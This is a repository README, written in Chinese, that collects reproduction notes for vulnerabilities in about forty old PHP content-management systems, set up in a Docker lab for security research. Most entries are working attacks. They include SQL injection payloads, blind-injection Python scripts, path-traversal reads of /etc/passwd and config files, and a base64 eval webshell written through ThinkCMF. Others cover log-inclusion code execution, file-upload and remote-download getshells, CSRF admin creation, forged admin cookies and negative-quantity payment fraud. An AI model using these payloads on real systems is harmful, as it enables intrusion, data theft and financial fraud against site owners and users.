# CMSVulSource
**Repository Path**: yijingsec/CMSVulSource
## Basic Information
- **Project Name**: CMSVulSource
- **Description**: CMS(内容管理系统)漏洞源码
- **Primary Language**: Unknown
- **License**: Apache-2.0
- **Default Branch**: main
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 10
- **Forks**: 5
- **Created**: 2024-02-19
- **Last Updated**: 2025-09-20
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
该项目是为了方便在对CMS漏洞进行复现的时候花费大量的时间在网上搜索漏洞源码,从而有了此项目。此项目仅为安全研究使用并且所有CMS存在大量漏洞,请勿以此建站。
## 环境搭建
经过测试,本项目的源码均可使用docker安装运行
```
# 拉取镜像
docker pull medicean/vulapps:base_lamp
# 利用镜像启动容器
docker run -d -p 8080:80 medicean/vulapps:base_lamp
```
镜像信息
```
系统版本:Ubuntu 14.04.5
Apache版本:2.4.7
PHP版本:5.5.9
MySQL版本:5.5.61
Web路径:/var/www/html
数据库账号密码:root/root
```
部分CMS需要php-curl扩展,进入到容器里执行
```
apt-get update
apt install php5-curl
```
然后重启apache或者docker即可。
## 漏洞信息
### iseacms
```
版本信息:1.0
```
#### 前台留言XSS
在【联系】下方的留言处插入payload
前台触发

后台管理员查看留言也会触发

#### 文章处SQL注入
随意点开一篇文章

在cid处存在漏洞

使用报错注入获取数据库名
```
and(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))
```

#### 后台登录处SQL注入
输入1'即可引起报错

```
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) #
```


### yxcms
```
版本信息:1.2.1
```
#### 前台留言XSS
在前台留言处插入payload

管理员查看留言即可触发

#### CSRF添加管理员
火狐浏览器
构造poc,将以下内容复制到html文件
```
```
将该文件诱使管理员打开访问
管理员在登录的情况下访问了该文件即可成功添加一个管理员用户,攻击者使用添加的管理员可成功登录后台

### 74cms
```
版本信息:6.0.4
```
#### 文件包含getShell
```
get:
index.php?m=home&a=assign_resume_tpl
post:
variable=1&tpl=")?>; ob_flush();?>/r/n
```

会将内容写入到日志文件里。包含日志文件即可生成一个webshell(目录需要有写入的权限,如果没有写入的权限需要修改上方php代码的shell生成的路径)
```
get:
index.php?m=home&a=assign_resume_tpl
post:
variable=1&tpl=data/Runtime/Logs/Home/22_10_12.log #日志文件为日期
```

使用蚁剑连接webshell

#### CSRF添加管理员
火狐浏览器
构造poc,将以下内容复制到html文件
```
```
将该文件诱使管理员打开访问
管理员在登录的情况下访问了该文件即可成功添加一个管理员用户,攻击者使用添加的管理员可成功登录后台

### damicms
```
版本信息:5.5.1
```
#### 普通用户XSS
注册普通用户,在资料修改处随意插入XSS的payload

管理员查看会员信息即可触发

#### 逻辑漏洞0元购
在产品展示里选择产品购买,付款方式选择站内扣款

提交订单抓包,把qty(订单数量)的值修改为负数

即可成功下单并反向充值


### metinfo
```
版本信息:6.0.0
```
#### 任意文件读取
读取数据库配置文件
```
/include/thumb.php?dir=.....///http/.....///config/config_db.php
```

读取其它系统文件
```
/include/thumb.php?dir=.....///http/.....///.....///.....///.....///.....////etc/passwd
```

### thinkcmf
```
版本信息:2.2.3
```
#### 任意文件包含
包含默认文件
```
?a=display&templateFile=README.md
```

包含系统敏感文件
```
?a=display&templateFile=../../../../..//etc/passwd
```

#### getshell
```
?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('data/test.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='))
```

文件写入到data目录下,使用蚁剑连接

### rejucms
```
版本信息:2.1
```
#### 越权登录后台
增加cookie admin_name=admin

然后访问后台即可越权进入后台
```
/admin/cms_welcome.php
```

### feifeicms
```
版本信息:4.0.18
```
#### 用户id遍历
注册账号登录之后可以看的自己的id

遍历该id后可以知道有没有被注册

#### 任意用户刷分
在注册后系统会赠送10积分,随意注册一个账号,然后抓取注册的请求包,将请求包的内容修改为user_id=2,2为自己的id


然后重复发送请求,可以看的自己的账号的影币变多了

### catfishcms
```
版本信息:4.4.14
```
#### CSRF修改用户信息
注册账户,登录后进入个人中心编辑资料,

然后抓包

生成恶意文件html文件
生成后将改文件发给受害者(或者将该文件放到攻击者的服务器里,然后把链接发给受害者),受害者在登录网站的情况下在同一个浏览器打开该文件,受害者的个人信息就被修改了


### qibocms
```
版本信息:7.0
```
#### 任意文件下载
读取/etc/passwd,为了确保能跨越到路径读取到目标文件,可以多加几个../../../
```
/do/job.php?job=download&url=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
```
把要下载的文件进行base64编码

#### 报错注入
注册一个会员,然后构造一个上传表单
```
```
随意上传一个文件然后抓包,将URL里的edit修改为del,注入点在文件名处

获取当前数据库名称
```
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
```
### eyoucms
```
版本信息:1.0.9
```
#### 任意文件写入Getshell
漏洞路径
```
/index.php/api/Uploadify/preview
```
POST内容:
```

### onethink
```
版本信息:1.0.131129
```
#### SQL注入万能密码登录
打开拦截,然后登录抓包


```
username[0]=exp&username[1]=)) union select 1,2,'',4,5,6,7,8,9,10,1#&password=&fe3hb
```

### opensns
```
版本信息:6.1.0
```
#### 前台sql注入
```
import requests
from requests import exceptions
url = "http://192.168.81.195:50002/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"
header = {'X-Requested-With': 'XMLHttpRequest'}
# proxies={'http':'127.0.0.1:8080'}
flag = ''
for i in range(1, 50):
for j in range(32, 128):
try:
data = {
'cid': 0,
'pid[0]': "=(select if(ord(substr((select database()),{},1))={},sleep(10),0))AND 3 IN ".format(i, j),
'pid[1]': 3
}
# print data['pid[0]']
r = requests.post(url, data=data, headers=header, timeout=5)
except exceptions.Timeout:
flag += chr(j)
print(flag)
```
### cmseasy
```
版本信息:7.6.3.2
```
#### 支付逻辑漏洞
首先注册一个账户,可以看到账户是0元

然后在精选产品里随意选择一个商品购买

然后抓包

将thisnum的值修改为负数,可以看到金额变成了负数

进入到支付页面选择余额支付

可以看到购买成功

回到个人中心了也可以看到自己的余额变多了

### lmxcms
```
版本信息:1.41
```
#### sql注入
```
import requests
url = "http://192.168.81.195:50006/?m=search&keywords=b&mid=1&remen=1 or (if(ascii(substr(database(),{},1))={},1,0))--+"
sjk = ""
for i in range(1, 7):
for j in range(80, 180):
cl = url.format(i, hex(j))
res = requests.get(cl)
if len(res.text) > 6000:
sjk += chr(j)
print(sjk)
```

### beescms
```
版本信息:4.0
```
#### sql注入
后台登录处,在用户名后加单引号发现报错
```admin' a and nd extractvalue(1,concat(0x7e,(select database()),0x7e))#
```

#### 后台验证码不刷新
输入一次正确的验证码然后抓包,可以发现多次改变密码都是提示密码错误

对密码进行爆破

### phpok
```
版本信息:5.3
```
#### sql注入
```
import requests
database = ""
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.42"
}
# proxier = {
# "http": "127.0.0.1:8080"
# }
for i in range(1, 6):
for a in range(47, 127):
payload = "http://192.168.81.195:11000/api.php?c=project&f=index&token=1234&id=news&sort=(1 and if(ascii(substr(database(),{},1))={},sleep(3),1))".format(
i, a)
re = requests.get(url=payload, headers=header, timeout=25)
# print(re.elapsed.total_seconds())
if re.elapsed.total_seconds() > 10:
database += chr(a)
print(database)
```

### niushop
```
版本信息:2.2
```
#### 远程文件下载getshell
url
```
index.php?s=/admin/Upgradeonline/downloadPatchZip
```
post data
```
download_url=http://192.168.81.116:1234/1.php&patch_release=1
```
需要在请求头增加
```
X-Requested-With: XMLHttpRequest
```
1.php文件内容:
```
```


### php7cms
#### 文件包含
```
版本信息:20181009
```
利用网站自带的错误日志来进行包含
```
index.php?s=news&c=search&keyword=%E5%9B%BA%E5%AE%9A&order=2%3C?=/*&sss=*/eval($_GET[1]);
```
这样就会生成一个错误日志cache/error/log-2022-11-21.php
命名规则就是log-年-月-日.php
包含该文件
```
index.php?s=api&c=api&m=template&name=../../../../cache/error/log-2022-11-21.php&1=phpinfo();
```
会以注释的方式包含出来



### kyxscms
```
版本信息:1.5.3
```
#### CSRF修改个人信息
首先注册一个普通用户,然后抓包构造恶意代码
```
```
然后将引导受害者访问恶意文件,受害者在火狐浏览器登录了账号的情况下访问了该恶意文件,个人信息即可被修改
受害者原信息

访问恶意文件后


#### CSRF添加管理员
目前只有一个管理员

构造恶意文件诱导管理员访问
```
```
成功添加管理员

利用添加的管理员登录

### youdiancms
```
版本信息:8.0
```
#### sql注入
```
import requests
import string
import time
s = requests.session()
def check(baseurl, payload):
url = baseurl + "/index.php/Channel/voteAdd"
cookies = {
"PHPSESSID": "pn9iofrfklen68u4205veml8s0",
"youdianAdminLangSet": "cn",
"youdianfu[0]": "exp",
"youdianfu[1]": payload
}
starttime = time.time()
s.get(url, cookies=cookies)
endtime = time.time()
if endtime - starttime >= 3:
return True
return False
def getLength(baseurl):
for i in range(30):
payload = "=(select 1 from(select if(length(database())={0},sleep(3),0))a)".format(str(i))
if check(baseurl, payload):
print("[+] database len: " + str(i))
return i
def getDatabase(baseurl, length):
stringset = string.digits + string.ascii_letters
database = ""
for i in range(length):
for j in stringset:
payload = "=(select 1 from(select if(ascii(substr(database(), {0}, 1))={1},sleep(3),0))a)".format(
str(i + 1), str(ord(j)))
if check(baseurl, payload):
database += str(j)
print("[+] " + database)
if __name__ == '__main__':
url = 'http://192.168.81.195:9999/'
length = getLength(url)
getDatabase(url, length)
```

### cltphp
```
版本信息:5.5
```
#### 任意文件上传
在与下方python文件同级目录新建一个php文件
```
# !/usr/bin/python
# -*- coding: UTF-8 -*-
# Author:Bypass
# Date:2018.03.01
import requests
import sys
proxier = {
"http": "127.0.0.1:8080"
}
def CLPHP_upload(url):
header = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'X-Requested-With': 'XMLHttpRequest', }
geturl = url + "/user/upFiles/upload"
files = {'file': ('1.php', open('1.php', 'rb'), 'image/jpeg')}
res = requests.post(geturl, files=files, proxies=proxier, headers=header)
print(res.text)
if __name__ == "__main__":
if len(sys.argv) == 2:
url = sys.argv[1]
CLPHP_upload(url)
sys.exit(0)
else:
print("usage: %s www.xxx.com" % sys.argv[0])
sys.exit(-1)
```

运行脚本即可将文件上传到服务器getshell

### sinsiucms
```
版本信息:1.0
```
#### CSRF添加管理员

构造恶意文件
```
```
管理员在浏览器登录了网站的情况下使用该浏览器访问了该恶意文件,即可成功添加管理员

虽然添加的用户默认没有权限,但是还可以构造恶意文件使管理员给新增的用户添加权限。
### fannuocms
```
版本信息:2.1
```
#### 后台任意文件上传
登录后台后在添加频道里

上传图片马

在bp里可以找到图片的地址

然后在频道模型处修改为图片马的地址,注意需要添加../../

发布频道,在网站首页可以看到频道

打开频道即可看到成功将图片马包含了

### ucms
```
版本信息:1.4.8
```
#### 后台任意文件写入
登录后台后进入到【文件管理】

然后直接上传webshell文件即可

### taocms
```
版本信息:3.0.1
```
#### 后台任意文件读取
登录后台后

在文件管理处可以读取任意文件

#### 编辑后台文件getshell
比如编辑rss文件,然后插入一句话木马,这插入的是phpinfo

然后访问rss.php

### jtbccms
```
版本信息:3.0
```
#### 后台任意文件上传
登录后在联系我们处上传文件

然后抓包,将该请求包的URL修改

改为
```
/console/file/manage.php?type=action&action=addfile&path=../.././
```

上传后的文件

### jizhicms
```
版本信息:1.9.5
```
#### 远程文件下载Getshell
登录进后台后,在扩展管理的插件列表,下载插件然后抓包,

然后在服务器新建一个php文件并将其压缩,放到web目录下是其可以被下载

需要抓取实时的请求包,然后将该请求包的下载url修改为自己服务器的压缩包的url


需要一直修改大概几十个包,直到看到以下请求包

继续修改url,也是需要一直修改,大概几十次,最后webshell路径为
```
/A/exts/1.php
```

### duomicms
```
版本信息:1.3.2
```
#### 前台sql注入
```
/duomiphp/ajax.php?action=addfav&id=1&uid=1 and extractvalue(1,concat_ws(0x3A,0x3A,database()))
```

#### 前台代码执行
```
/search.php?searchword={if:phpinfo()}phpinfo(){end
```

### xiaocms
```
版本信息:20141229
```
#### 后台任意文件上传
登录后台获取cookie
构造上传表单
```
```
上传php文件抓包,将管理员的cookie替换到请求包里即可成功上传文件


### apsystem
```
版本信息:无
```
#### 后台任意文件上传

再Employee List新建
填写好信息之后上传php文件

上传后的文件保存在images目录下,文件名为原文件名

### emlog
```
版本信息:6.0.0
```
#### 后台sql注入
登录后找到token值

然后替换token值后请求,
```
admin/comment.php?action=delbyip&token=4eeb0789d73618c2e56c88685e58a8cf&ip=127.0.0.1%27%20and%20(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))%23
```

### dunlingcms
```
版本信息:1.0
```
#### 万能密码登录
随便输入账号密码抓包

把用户名改为
```
admin' #
```

成功登录到后台

#### 越权登录后台
访问后台页面
```
/admin/axadmin.php
```
然后将cookie改为admin=yes
成功越权进入后台

### semcms
```
版本信息:1.4
```
#### 后台sql注入
登录进后台后进入到【信息管理】的【博客管理】,选中博客并且删除然后抓包

构造时间盲注,成功执行了sleep

获取数据库名长度

```
import requests
database = ""
header = {
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "theme=default; frontLang=zh-cn; __bid_n=184ada2f395ab4dd774207; ECS[visit_times]=2; ishistory=1; gnolt4_admin_username=admin; PHPSESSID=ksj15tsgisn8b7fhq40uvkif11",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.42"
}
# proxier = {
# "http": "127.0.0.1:8080"
# }
for i in range(1, 7):
for a in range(47, 127):
payload = "http://192.168.81.116:12342/hXd0MR_AhF/Ant_Inc.php?action=Clear&sort=info&lgid=1"
data = "DID[]=15 and if(ascii(substr(database(),{},1))={},sleep(3),1)".format(i, a)
re = requests.post(url=payload, data=data, headers=header, timeout=10)
# print(re.elapsed.total_seconds())
if re.elapsed.total_seconds() > 6:
database += chr(a)
print(database)
```

### classcms
```
版本信息:1.3
```
#### 远程文件下载getshell
登录进后台,进入应用商店主页

选择应用下载

点击下载然后抓包

以下请求包放过

然后抓取到以下请求包

可以将classhash修改,随意修改,并将url修改为自己的地址,1.zip里含有一个1.php

将包发送过去后在浏览器看到格式错误,不用理会,实际上文件已经下载到服务器了

webshell路径为
```
/class/[classhash值]/压缩包内php文件
```

### wellcms
```
版本信息:2.0
```
#### 后台任意文件上传
登录进后台,在【管理内容】的【内容列表】

创建一个栏目,创建完栏目之后再重新在内容列表增加内容

上传文件

上传一个图片然后抓包

然后将请求包的filetype修改为php,data修改为经过base64编码后的webshell

成功上传php文件


### zzcms
```
版本信息:8.2
```
#### 前台sql注入
```
# /user/del.php
import requests
database = ""
header = {
# "X-Requested-With": "XMLHttpRequest",
# "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
# "Cookie": "theme=default; frontLang=zh-cn; __bid_n=184ada2f395ab4dd774207; ECS[visit_times]=2; ishistory=1; gnolt4_admin_username=admin; PHPSESSID=ksj15tsgisn8b7fhq40uvkif11",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.42"
}
proxier = {
"http": "127.0.0.1:8080"
}
for i in range(1, 10):
for j in range(47, 127):
payload = "http://192.168.81.195:12343/user/del.php"
data = {
"id": "1",
"tablename": "zzcms_answer union select 1,2 and if(ascii(substr(database(),{},1))={},sleep(5),1)#".format(
i, j)
}
re = requests.post(url=payload, data=data, headers=header, proxies=proxier, timeout=8)
# print(re.elapsed.total_seconds())
if re.elapsed.total_seconds() > 3:
database += chr(j)
print(database)
```

### bagecms
```
版本信息:3.1.0
```
#### 后台代码执行
登录进后台后编辑模板文件

比如遍历question下的index.php

然后访问

### bloofoxcms
```
版本信息:0.5.2.1
```
#### 后台任意文件上传
登录后台后,选择【upload】,然后直接上传php文件

